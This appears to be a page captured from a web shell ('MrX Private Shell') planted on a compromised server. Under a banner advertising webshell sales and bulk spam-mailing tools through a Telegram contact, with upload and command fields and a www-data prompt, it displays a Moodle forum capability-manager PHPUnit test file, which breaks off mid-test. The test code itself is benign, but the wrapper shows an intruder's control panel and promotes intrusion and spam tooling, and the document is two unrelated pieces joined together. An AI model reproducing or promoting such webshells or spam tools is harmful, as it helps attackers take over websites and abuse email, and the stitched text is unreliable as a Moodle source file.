__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_forum;

use mod_forum\local\container;
use mod_forum\local\entities\forum;
use mod_forum\local\managers\capability as capability_manager;
use mod_forum_tests_generator_trait;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once(__DIR__ . '/generator_trait.php');

/**
 * The capability manager tests.
 *
 * @package    mod_forum
 * @copyright  2019 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @coversDefaultClass \mod_forum\local\managers\capability
 */
final class managers_capability_test extends \advanced_testcase {
    // Make use of the test generator trait.
    use mod_forum_tests_generator_trait;

    /** @var stdClass */
    private $user;

    /** @var \mod_forum\local\factories\entity */
    private $entityfactory;

    /** @var \mod_forum\local\factories\manager */
    private $managerfactory;

    /** @var stdClass */
    private $course;

    /** @var stdClass */
    private $forumrecord;

    /** @var stdClass */
    private $coursemodule;

    /** @var context */
    private $context;

    /** @var int */
    private $roleid;

    /** @var \mod_forum\local\entities\discussion */
    private $discussion;

    /** @var stdClass */
    private $discussionrecord;

    /** @var \mod_forum\local\entities\post */
    private $post;

    /** @var stdClass */
    private $postrecord;

    /**
     * Setup function before each test.
     */
    public function setUp(): void {
        global $DB;
        parent::setUp();

        // We must clear the subscription caches. This has to be done both before each test, and after in case of other
        // tests using these functions.
        \mod_forum\subscriptions::reset_forum_cache();

        $datagenerator = $this->getDataGenerator();
        $this->user = $datagenerator->create_user();
        $this->managerfactory = container::get_manager_factory();
        $this->entityfactory = container::get_entity_factory();
        $this->course = $datagenerator->create_course();
        $this->forumrecord = $datagenerator->create_module('forum', ['course' => $this->course->id]);
        $this->coursemodule = get_coursemodule_from_instance('forum', $this->forumrecord->id);
        $this->context = \context_module::instance($this->coursemodule->id);
        $this->roleid = $DB->get_field('role', 'id', ['shortname' => 'teacher'], MUST_EXIST);

        $datagenerator->enrol_user($this->user->id, $this->course->id, 'teacher');
        [$discussion, $post] = $this->helper_post_to_forum($this->forumrecord, $this->user, ['timemodified' => time() - 100]);
        $this->discussion = $this->entityfactory->get_discussion_from_stdClass($discussion);
        $this->discussionrecord = $discussion;
        $this->post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $post, ['timecreated' => time() - 100])
        );
        $this->postrecord = $post;

        $this->setUser($this->user);
    }

    /**
     * Tear down function after each test.
     */
    public function tearDown(): void {
        // We must clear the subscription caches. This has to be done both before each test, and after in case of other
        // tests using these functions.
        \mod_forum\subscriptions::reset_forum_cache();
        parent::tearDown();
    }

    /**
     * Helper function to create a forum entity.
     *
     * @param array $forumproperties List of properties to override the prebuilt forum
     * @return forum
     */
    private function create_forum(array $forumproperties = []) {
        $forumrecord = (object) array_merge((array) $this->forumrecord, $forumproperties);
        return $this->entityfactory->get_forum_from_stdClass(
            $forumrecord,
            $this->context,
            $this->coursemodule,
            $this->course
        );
    }

    /**
     * Helper function to assign a capability to the prebuilt role (teacher).
     *
     * @param string $capability Name of the capability
     * @param context|null $context The context to assign the capability in
     */
    private function give_capability($capability, $context = null) {
        $context = $context ?? $this->context;
        assign_capability($capability, CAP_ALLOW, $this->roleid, $context->id, true);
    }

    /**
     * Helper function to prevent a capability to the prebuilt role (teacher).
     *
     * @param string $capability Name of the capability
     * @param context|null $context The context to assign the capability in
     */
    private function prevent_capability($capability, $context = null) {
        $context = $context ?? $this->context;
        assign_capability($capability, CAP_PREVENT, $this->roleid, $context->id, true);
    }

    /**
     * Test can_subscribe_to_forum.
     *
     * @covers ::can_subscribe_to_forum
     */
    public function test_can_subscribe_to_forum(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $guestuser = $this->getDataGenerator()->create_user();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->assertFalse($capabilitymanager->can_subscribe_to_forum($guestuser));
        $this->assertTrue($capabilitymanager->can_subscribe_to_forum($this->user));
    }

    /**
     * Test can_create_discussions.
     *
     * @covers ::can_create_discussions
     */
    public function test_can_create_discussions(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $guestuser = $this->getDataGenerator()->create_user();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->assertFalse($capabilitymanager->can_create_discussions($guestuser));

        $this->prevent_capability('mod/forum:startdiscussion');
        $this->assertFalse($capabilitymanager->can_create_discussions($user));

        $this->give_capability('mod/forum:startdiscussion');
        $this->assertTrue($capabilitymanager->can_create_discussions($user));

        $forum = $this->create_forum(['type' => 'news']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:addnews');
        $this->assertFalse($capabilitymanager->can_create_discussions($user));

        $this->give_capability('mod/forum:addnews');
        $this->assertTrue($capabilitymanager->can_create_discussions($user));

        $forum = $this->create_forum(['type' => 'qanda']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:addquestion');
        $this->assertFalse($capabilitymanager->can_create_discussions($user));

        $this->give_capability('mod/forum:addquestion');
        $this->assertTrue($capabilitymanager->can_create_discussions($user));

        // Test a forum in group mode.
        $forumrecord = $this->getDataGenerator()->create_module(
            'forum',
            ['course' => $this->course->id, 'groupmode' => SEPARATEGROUPS]
        );
        $coursemodule = get_coursemodule_from_instance('forum', $forumrecord->id);
        $context = \context_module::instance($coursemodule->id);
        $forum = $this->entityfactory->get_forum_from_stdClass(
            $forumrecord,
            $context,
            $coursemodule,
            $this->course
        );

        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->assertFalse($capabilitymanager->can_create_discussions($user));

        $this->give_capability('moodle/site:accessallgroups', $context);
        $this->assertTrue($capabilitymanager->can_create_discussions($user));

        $this->prevent_capability('moodle/site:accessallgroups', $context);
        $this->assertFalse($capabilitymanager->can_create_discussions($user));

        $group = $this->getDataGenerator()->create_group(['courseid' => $this->course->id]);
        $this->getDataGenerator()->create_group_member(['userid' => $user->id, 'groupid' => $group->id]);

        $this->assertTrue($capabilitymanager->can_create_discussions($user, $group->id));

        // Test if cut off date is reached.
        $now = time();
        $forum = $this->create_forum(['cutoffdate' => $now + 86400 , 'blockafter' => 5, 'blockperiod' => 86400]);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        $this->prevent_capability('mod/forum:postwithoutthrottling');
        $this->assertTrue($capabilitymanager->can_create_discussions($user));

        $forum = $this->create_forum(['cutoffdate' => $now + 86400 , 'blockafter' => 1, 'blockperiod' => 86400]);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        $this->prevent_capability('mod/forum:postwithoutthrottling');
        $this->assertFalse($capabilitymanager->can_create_discussions($user));
    }

    /**
     * Test can_access_all_groups.
     *
     * @covers ::can_access_all_groups
     */
    public function test_can_access_all_groups(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('moodle/site:accessallgroups');
        $this->assertFalse($capabilitymanager->can_access_all_groups($user));

        $this->give_capability('moodle/site:accessallgroups');
        $this->assertTrue($capabilitymanager->can_access_all_groups($user));
    }

    /**
     * Test can_access_group.
     *
     * @covers ::can_access_group
     */
    public function test_can_access_group(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        $group = $this->getDataGenerator()->create_group(['courseid' => $this->course->id]);

        $this->prevent_capability('moodle/site:accessallgroups');
        $this->assertFalse($capabilitymanager->can_access_group($user, $group->id));

        $this->give_capability('moodle/site:accessallgroups');
        $this->assertTrue($capabilitymanager->can_access_group($user, $group->id));

        $this->prevent_capability('moodle/site:accessallgroups');
        $this->getDataGenerator()->create_group_member(['userid' => $user->id, 'groupid' => $group->id]);
        $this->assertTrue($capabilitymanager->can_access_group($user, $group->id));
    }

    /**
     * Test can_view_discussions.
     *
     * @covers ::can_view_discussions
     */
    public function test_can_view_discussions(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:viewdiscussion');
        $this->assertFalse($capabilitymanager->can_view_discussions($user));

        $this->give_capability('mod/forum:viewdiscussion');
        $this->assertTrue($capabilitymanager->can_view_discussions($user));
    }

    /**
     * Test can_move_discussions.
     *
     * @covers ::can_move_discussions
     */
    public function test_can_move_discussions(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:movediscussions');
        $this->assertFalse($capabilitymanager->can_move_discussions($user));

        $this->give_capability('mod/forum:movediscussions');
        $this->assertTrue($capabilitymanager->can_move_discussions($user));

        $forum = $this->create_forum(['type' => 'single']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->assertFalse($capabilitymanager->can_move_discussions($user));
    }

    /**
     * Test can_pin_discussions.
     *
     * @covers ::can_pin_discussions
     */
    public function test_can_pin_discussions(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:pindiscussions');
        $this->assertFalse($capabilitymanager->can_pin_discussions($user));

        $this->give_capability('mod/forum:pindiscussions');
        $this->assertTrue($capabilitymanager->can_pin_discussions($user));
    }

    /**
     * Test can_split_discussions.
     *
     * @covers ::can_split_discussions
     */
    public function test_can_split_discussions(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:splitdiscussions');
        $this->assertFalse($capabilitymanager->can_split_discussions($user));

        $this->give_capability('mod/forum:splitdiscussions');
        $this->assertTrue($capabilitymanager->can_split_discussions($user));

        $forum = $this->create_forum(['type' => 'single']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->assertFalse($capabilitymanager->can_split_discussions($user));
    }

    /**
     * Test can_export_discussions.
     *
     * @covers ::can_export_discussions
     */
    public function test_can_export_discussions(): void {
        global $CFG;
        $this->resetAfterTest();

        $CFG->enableportfolios = true;
        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:exportdiscussion');
        $this->assertFalse($capabilitymanager->can_export_discussions($user));

        $this->give_capability('mod/forum:exportdiscussion');
        $this->assertTrue($capabilitymanager->can_export_discussions($user));

        $CFG->enableportfolios = false;

        $this->assertFalse($capabilitymanager->can_export_discussions($user));
    }

    /**
     * Test can_manually_control_post_read_status.
     *
     * @covers ::can_manually_control_post_read_status
     */
    public function test_can_manually_control_post_read_status(): void {
        global $CFG, $DB;
        $this->resetAfterTest();

        $CFG->forum_usermarksread = true;
        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        $cache = \cache::make('mod_forum', 'forum_is_tracked');

        $user->trackforums = true;
        $prefid = $DB->insert_record('forum_track_prefs', ['userid' => $user->id, 'forumid' => $forum->get_id()]);
        $this->assertFalse($capabilitymanager->can_manually_control_post_read_status($user));
        $cache->purge();

        $DB->delete_records('forum_track_prefs', ['id' => $prefid]);
        $this->assertTrue($capabilitymanager->can_manually_control_post_read_status($user));
        $cache->purge();

        $CFG->forum_usermarksread = false;

        $this->assertFalse($capabilitymanager->can_manually_control_post_read_status($user));
    }

    /**
     * Test must_post_before_viewing_discussion.
     *
     * @covers ::must_post_before_viewing_discussion
     */
    public function test_must_post_before_viewing_discussion(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $discussion = $this->discussion;
        $newuser = $this->getDataGenerator()->create_user();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        $this->getDataGenerator()->enrol_user($newuser->id, $this->course->id, 'teacher');

        $this->assertFalse($capabilitymanager->must_post_before_viewing_discussion($newuser, $discussion));

        $forum = $this->create_forum(['type' => 'qanda']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:viewqandawithoutposting');
        $this->assertTrue($capabilitymanager->must_post_before_viewing_discussion($newuser, $discussion));

        $this->give_capability('mod/forum:viewqandawithoutposting');
        $this->assertFalse($capabilitymanager->must_post_before_viewing_discussion($newuser, $discussion));

        $this->prevent_capability('mod/forum:viewqandawithoutposting');
        // The pre-generated user has a pre-generated post in the disussion already.
        $this->assertFalse($capabilitymanager->must_post_before_viewing_discussion($user, $discussion));
    }

    /**
     * Test can_subscribe_to_discussion.
     *
     * @covers ::can_subscribe_to_discussion
     */
    public function test_can_subscribe_to_discussion(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $discussion = $this->discussion;
        $guestuser = $this->getDataGenerator()->create_user();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->assertFalse($capabilitymanager->can_subscribe_to_discussion($guestuser, $discussion));
        $this->assertTrue($capabilitymanager->can_subscribe_to_discussion($this->user, $discussion));
    }

    /**
     * Test can_move_discussion.
     *
     * @covers ::can_move_discussion
     */
    public function test_can_move_discussion(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $discussion = $this->discussion;
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:movediscussions');
        $this->assertFalse($capabilitymanager->can_move_discussion($user, $discussion));

        $this->give_capability('mod/forum:movediscussions');
        $this->assertTrue($capabilitymanager->can_move_discussion($user, $discussion));

        $forum = $this->create_forum(['type' => 'single']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->assertFalse($capabilitymanager->can_move_discussion($user, $discussion));
    }

    /**
     * Test can_pin_discussion.
     *
     * @covers ::can_pin_discussion
     */
    public function test_can_pin_discussion(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $discussion = $this->discussion;
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:pindiscussions');
        $this->assertFalse($capabilitymanager->can_pin_discussion($user, $discussion));

        $this->give_capability('mod/forum:pindiscussions');
        $this->assertTrue($capabilitymanager->can_pin_discussion($user, $discussion));
    }

    /**
     * Test can_post_in_discussion.
     *
     * @covers ::can_post_in_discussion
     */
    public function test_can_post_in_discussion(): void {
        $this->resetAfterTest();

        $discussion = $this->discussion;
        $user = $this->user;

        // Locked discussions.
        $lockedforum = $this->create_forum(['lockdiscussionafter' => 1]);
        $capabilitymanager = $this->managerfactory->get_capability_manager($lockedforum);

        $this->give_capability('mod/forum:canoverridediscussionlock');
        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        $this->prevent_capability('mod/forum:canoverridediscussionlock');
        $this->assertFalse($capabilitymanager->can_post_in_discussion($user, $discussion));

        // News forum.
        $newsforum = $this->create_forum(['type' => 'news']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($newsforum);

        $this->give_capability('mod/forum:replynews');
        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        $this->prevent_capability('mod/forum:replynews');
        $this->assertFalse($capabilitymanager->can_post_in_discussion($user, $discussion));

        // General forum.
        $forum = $this->create_forum();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->give_capability('mod/forum:replypost');
        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        $this->prevent_capability('mod/forum:replypost');
        $this->assertFalse($capabilitymanager->can_post_in_discussion($user, $discussion));

        // Forum in separate group mode.
        $forumrecord = $this->getDataGenerator()->create_module(
            'forum',
            ['course' => $this->course->id, 'groupmode' => SEPARATEGROUPS]
        );
        $coursemodule = get_coursemodule_from_instance('forum', $forumrecord->id);
        $context = \context_module::instance($coursemodule->id);
        $forum = $this->entityfactory->get_forum_from_stdClass(
            $forumrecord,
            $context,
            $coursemodule,
            $this->course
        );
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->give_capability('moodle/site:accessallgroups', $context);
        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        $this->prevent_capability('moodle/site:accessallgroups', $context);
        $this->assertFalse($capabilitymanager->can_post_in_discussion($user, $discussion));

        $group = $this->getDataGenerator()->create_group(['courseid' => $this->course->id]);
        $discussion = $this->entityfactory->get_discussion_from_stdClass(
            (object) array_merge((array) $this->discussionrecord, ['groupid' => $group->id])
        );

        $this->assertFalse($capabilitymanager->can_post_in_discussion($user, $discussion));

        $this->getDataGenerator()->create_group_member(['userid' => $user->id, 'groupid' => $group->id]);

        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        // Forum in visible group mode.
        $forumrecord = $this->getDataGenerator()->create_module(
            'forum',
            ['course' => $this->course->id, 'groupmode' => VISIBLEGROUPS]
        );
        $coursemodule = get_coursemodule_from_instance('forum', $forumrecord->id);
        $context = \context_module::instance($coursemodule->id);
        $forum = $this->entityfactory->get_forum_from_stdClass(
            $forumrecord,
            $context,
            $coursemodule,
            $this->course
        );
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->give_capability('moodle/site:accessallgroups', $context);
        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        $this->prevent_capability('moodle/site:accessallgroups', $context);
        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        $group = $this->getDataGenerator()->create_group(['courseid' => $this->course->id]);
        $discussion = $this->entityfactory->get_discussion_from_stdClass(
            (object) array_merge((array) $this->discussionrecord, ['groupid' => $group->id])
        );

        $this->assertFalse($capabilitymanager->can_post_in_discussion($user, $discussion));

        $this->getDataGenerator()->create_group_member(['userid' => $user->id, 'groupid' => $group->id]);

        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        $now = time();
        $forum = $this->create_forum(['cutoffdate' => $now + 86400 , 'blockafter' => 5, 'blockperiod' => 86400]);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        $this->prevent_capability('mod/forum:postwithoutthrottling');
        $this->give_capability('mod/forum:replypost');
        $this->assertTrue($capabilitymanager->can_post_in_discussion($user, $discussion));

        $forum = $this->create_forum(['cutoffdate' => $now + 86400 , 'blockafter' => 1, 'blockperiod' => 86400]);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        $this->prevent_capability('mod/forum:postwithoutthrottling');
        $this->assertFalse($capabilitymanager->can_post_in_discussion($user, $discussion));
    }

    /**
     * Test can_edit_post.
     *
     * @covers ::can_edit_post
     */
    public function test_can_edit_post(): void {
        global $CFG;

        $this->resetAfterTest();

        $forum = $this->create_forum();
        $discussion = $this->discussion;
        // The generated post is created 100 seconds in the past.
        $post = $this->post;
        $user = $this->user;
        $otheruser = $this->getDataGenerator()->create_user();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:editanypost');

        // 200 seconds to edit.
        $CFG->maxeditingtime = 200;
        $this->assertTrue($capabilitymanager->can_edit_post($user, $discussion, $post));

        // Can not edit within editing time if $post->mailnow > 0 (selected).
        $CFG->maxeditingtime = 200;
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['mailnow' => 1])
        );
        $this->assertFalse($capabilitymanager->can_edit_post($user, $discussion, $post));

        // Back to normal - mailnow not selected.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['mailnow' => 0])
        );

        // 10 seconds to edit. No longer in editing time.
        $CFG->maxeditingtime = 10;
        $this->assertFalse($capabilitymanager->can_edit_post($user, $discussion, $post));

        // Can edit outside of editing time with this capability.
        $this->give_capability('mod/forum:editanypost');
        $this->assertTrue($capabilitymanager->can_edit_post($user, $discussion, $post));

        $CFG->maxeditingtime = 200;
        $this->assertFalse($capabilitymanager->can_edit_post($otheruser, $discussion, $post));

        $this->prevent_capability('mod/forum:editanypost');

        // News forum.
        $forum = $this->create_forum(['type' => 'news']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        // Discussion hasn't started yet.
        $discussion = $this->entityfactory->get_discussion_from_stdClass(
            (object) array_merge((array) $this->discussionrecord, ['timestart' => time() + 100])
        );

        $this->assertFalse($capabilitymanager->can_edit_post($user, $discussion, $post));

        // Back to a discussion that has started.
        $discussion = $this->discussion;
        // Post is a reply.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['parent' => 5])
        );

        $this->assertFalse($capabilitymanager->can_edit_post($user, $discussion, $post));

        $post = $this->post;
        // Discussion has started and post isn't a reply so we can edit it.
        $this->assertTrue($capabilitymanager->can_edit_post($user, $discussion, $post));

        // Single forum.
        $forum = $this->create_forum(['type' => 'single']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        // Create a new post that definitely isn't the first post of the discussion.
        // Only the author, and a user with editanypost can edit it.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['id' => $post->get_id() + 100])
        );
        $this->give_capability('mod/forum:editanypost');
        $this->assertTrue($capabilitymanager->can_edit_post($user, $discussion, $post));
        $this->assertFalse($capabilitymanager->can_edit_post($otheruser, $discussion, $post));

        $post = $this->post;
        // Set the first post of the discussion to our post.
        $discussion = $this->entityfactory->get_discussion_from_stdClass(
            (object) array_merge((array) $this->discussionrecord, ['firstpost' => $post->get_id()])
        );

        $this->prevent_capability('moodle/course:manageactivities');
        $this->assertFalse($capabilitymanager->can_edit_post($user, $discussion, $post));

        $this->give_capability('moodle/course:manageactivities');
        $this->assertTrue($capabilitymanager->can_edit_post($user, $discussion, $post));
    }

    /**
     * Test can_delete_post.
     *
     * @covers ::can_delete_post
     */
    public function test_can_delete_post(): void {
        global $CFG;

        $this->resetAfterTest();

        // Single forum.
        $forum = $this->create_forum(['type' => 'single']);
        // The generated post is created 100 seconds in the past.
        $post = $this->post;
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        // Set the first post of the discussion to our post.
        $discussion = $this->entityfactory->get_discussion_from_stdClass(
            (object) array_merge((array) $this->discussionrecord, ['firstpost' => $post->get_id()])
        );

        // Can't delete the first post of a single discussion forum.
        $this->assertFalse($capabilitymanager->can_delete_post($user, $discussion, $post));

        // Set the first post of the discussion to something else.
        $discussion = $this->entityfactory->get_discussion_from_stdClass(
            (object) array_merge((array) $this->discussionrecord, ['firstpost' => $post->get_id() - 1])
        );

        $this->assertTrue($capabilitymanager->can_delete_post($user, $discussion, $post));

        // Back to a general forum.
        $forum = $this->create_forum();
        $this->prevent_capability('mod/forum:deleteanypost');
        $this->give_capability('mod/forum:deleteownpost');
        // 200 second editing time to make sure our post is still within it.
        $CFG->maxeditingtime = 200;

        // Can not delete within editing time if $post->mailnow > 0 (selected).
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['mailnow' => 1])
        );
        $this->assertFalse($capabilitymanager->can_delete_post($user, $discussion, $post));

        // Back to normal - mailnow not selected.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['mailnow' => 0])
        );

        // Make the post owned by someone else.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['userid' => $user->id - 1])
        );

        // Can't delete someone else's post.
        $this->assertFalse($capabilitymanager->can_delete_post($user, $discussion, $post));
        // Back to our post.
        $post = $this->post;

        // Not in editing time.
        $CFG->maxeditingtime = 10;
        $this->assertFalse($capabilitymanager->can_delete_post($user, $discussion, $post));

        $CFG->maxeditingtime = 200;
        // Remove the capability to delete own post.
        $this->prevent_capability('mod/forum:deleteownpost');
        $this->assertFalse($capabilitymanager->can_delete_post($user, $discussion, $post));

        $this->give_capability('mod/forum:deleteownpost');
        $this->assertTrue($capabilitymanager->can_delete_post($user, $discussion, $post));

        $this->give_capability('mod/forum:deleteanypost');
        $CFG->maxeditingtime = 10;
        $this->assertTrue($capabilitymanager->can_delete_post($user, $discussion, $post));
    }

    /**
     * Test can_split_post.
     *
     * @covers ::can_split_post
     */
    public function test_can_split_post(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $discussion = $this->discussion;
        $post = $this->post;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        // Make the post a reply.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['parent' => 5])
        );

        $this->prevent_capability('mod/forum:splitdiscussions');
        $this->assertFalse($capabilitymanager->can_split_post($user, $discussion, $post));

        $this->give_capability('mod/forum:splitdiscussions');
        $this->assertTrue($capabilitymanager->can_split_post($user, $discussion, $post));

        // Make the post have no parent.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['parent' => 0])
        );

        $this->assertFalse($capabilitymanager->can_split_post($user, $discussion, $post));

        $forum = $this->create_forum(['type' => 'single']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        // Make the post a reply.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['parent' => 5])
        );

        // Can't split a single discussion forum.
        $this->assertFalse($capabilitymanager->can_split_post($user, $discussion, $post));

        // Make the post a private reply.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['parent' => 5, 'privatereplyto' => $user->id])
        );

        // Can't split at a private reply.
        $this->assertFalse($capabilitymanager->can_split_post($user, $discussion, $post));
    }

    /**
     * Test can_reply_to_post.
     *
     * @covers ::can_reply_to_post
     */
    public function test_can_reply_to_post(): void {
        $this->resetAfterTest();

        $discussion = $this->discussion;
        $user = $this->user;
        $post = $this->post;

        // Locked discussions.
        $lockedforum = $this->create_forum(['lockdiscussionafter' => 1]);
        $capabilitymanager = $this->managerfactory->get_capability_manager($lockedforum);

        $this->give_capability('mod/forum:canoverridediscussionlock');
        $this->assertTrue($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $this->prevent_capability('mod/forum:canoverridediscussionlock');
        $this->assertFalse($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        // News forum.
        $newsforum = $this->create_forum(['type' => 'news']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($newsforum);

        $this->give_capability('mod/forum:replynews');
        $this->assertTrue($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $this->prevent_capability('mod/forum:replynews');
        $this->assertFalse($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        // General forum.
        $forum = $this->create_forum();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->give_capability('mod/forum:replypost');
        $this->assertTrue($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $this->prevent_capability('mod/forum:replypost');
        $this->assertFalse($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        // Forum in separate group mode.
        $forumrecord = $this->getDataGenerator()->create_module(
            'forum',
            ['course' => $this->course->id, 'groupmode' => SEPARATEGROUPS]
        );
        $coursemodule = get_coursemodule_from_instance('forum', $forumrecord->id);
        $context = \context_module::instance($coursemodule->id);
        $forum = $this->entityfactory->get_forum_from_stdClass(
            $forumrecord,
            $context,
            $coursemodule,
            $this->course
        );
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->give_capability('moodle/site:accessallgroups', $context);
        $this->assertTrue($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $this->prevent_capability('moodle/site:accessallgroups', $context);
        $this->assertFalse($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $group = $this->getDataGenerator()->create_group(['courseid' => $this->course->id]);
        $discussion = $this->entityfactory->get_discussion_from_stdClass(
            (object) array_merge((array) $this->discussionrecord, ['groupid' => $group->id])
        );

        $this->assertFalse($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $this->getDataGenerator()->create_group_member(['userid' => $user->id, 'groupid' => $group->id]);

        $this->assertTrue($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        // Forum in visible group mode.
        $forumrecord = $this->getDataGenerator()->create_module(
            'forum',
            ['course' => $this->course->id, 'groupmode' => VISIBLEGROUPS]
        );
        $coursemodule = get_coursemodule_from_instance('forum', $forumrecord->id);
        $context = \context_module::instance($coursemodule->id);
        $forum = $this->entityfactory->get_forum_from_stdClass(
            $forumrecord,
            $context,
            $coursemodule,
            $this->course
        );
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->give_capability('moodle/site:accessallgroups', $context);
